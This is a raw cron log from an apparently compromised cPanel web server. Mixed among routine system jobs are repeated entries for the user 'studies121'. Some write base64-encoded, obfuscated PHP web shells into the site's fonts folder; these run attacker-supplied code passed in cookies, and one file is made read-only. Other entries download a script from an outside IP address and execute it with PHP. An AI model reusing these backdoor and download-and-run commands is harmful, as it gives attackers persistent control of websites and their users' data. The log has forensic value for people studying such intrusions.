Sep  1 14:15:02 ip-184-168-122-23 CROND[5930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:15:02 ip-184-168-122-23 CROND[5932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:15:02 ip-184-168-122-23 CROND[5933]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 14:15:02 ip-184-168-122-23 CROND[5931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:15:02 ip-184-168-122-23 CROND[5937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:15:02 ip-184-168-122-23 CROND[5938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:16:01 ip-184-168-122-23 CROND[6033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:16:01 ip-184-168-122-23 CROND[6035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:16:01 ip-184-168-122-23 CROND[6036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:16:01 ip-184-168-122-23 CROND[6039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:16:01 ip-184-168-122-23 CROND[6038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:16:01 ip-184-168-122-23 CROND[6037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:17:01 ip-184-168-122-23 CROND[6124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:17:01 ip-184-168-122-23 CROND[6125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:17:01 ip-184-168-122-23 CROND[6130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:17:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:18:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:18:01 ip-184-168-122-23 CROND[6221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:18:01 ip-184-168-122-23 CROND[6222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:18:01 ip-184-168-122-23 CROND[6224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:18:01 ip-184-168-122-23 CROND[6225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:19:01 ip-184-168-122-23 CROND[6397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:19:01 ip-184-168-122-23 CROND[6395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:19:01 ip-184-168-122-23 CROND[6398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:19:01 ip-184-168-122-23 CROND[6396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:20:01 ip-184-168-122-23 CROND[6511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:20:01 ip-184-168-122-23 CROND[6515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:20:01 ip-184-168-122-23 CROND[6519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:21:01 ip-184-168-122-23 CROND[6608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:21:01 ip-184-168-122-23 CROND[6610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:21:01 ip-184-168-122-23 CROND[6609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:21:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:22:01 ip-184-168-122-23 CROND[6779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:22:01 ip-184-168-122-23 CROND[6782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:22:01 ip-184-168-122-23 CROND[6783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:22:01 ip-184-168-122-23 CROND[6785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:22:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:23:01 ip-184-168-122-23 CROND[6948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:23:01 ip-184-168-122-23 CROND[6949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:23:01 ip-184-168-122-23 CROND[6952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:23:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:24:01 ip-184-168-122-23 CROND[7031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:24:01 ip-184-168-122-23 CROND[7032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:24:01 ip-184-168-122-23 CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:24:01 ip-184-168-122-23 CROND[7037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:24:01 ip-184-168-122-23 CROND[7039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7135]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:25:01 ip-184-168-122-23 CROND[7143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:26:01 ip-184-168-122-23 CROND[7228]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  1 14:26:01 ip-184-168-122-23 CROND[7229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:26:01 ip-184-168-122-23 CROND[7230]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:26:01 ip-184-168-122-23 CROND[7232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:26:01 ip-184-168-122-23 CROND[7231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:26:01 ip-184-168-122-23 CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  1 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  1 14:27:01 ip-184-168-122-23 CROND[7401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
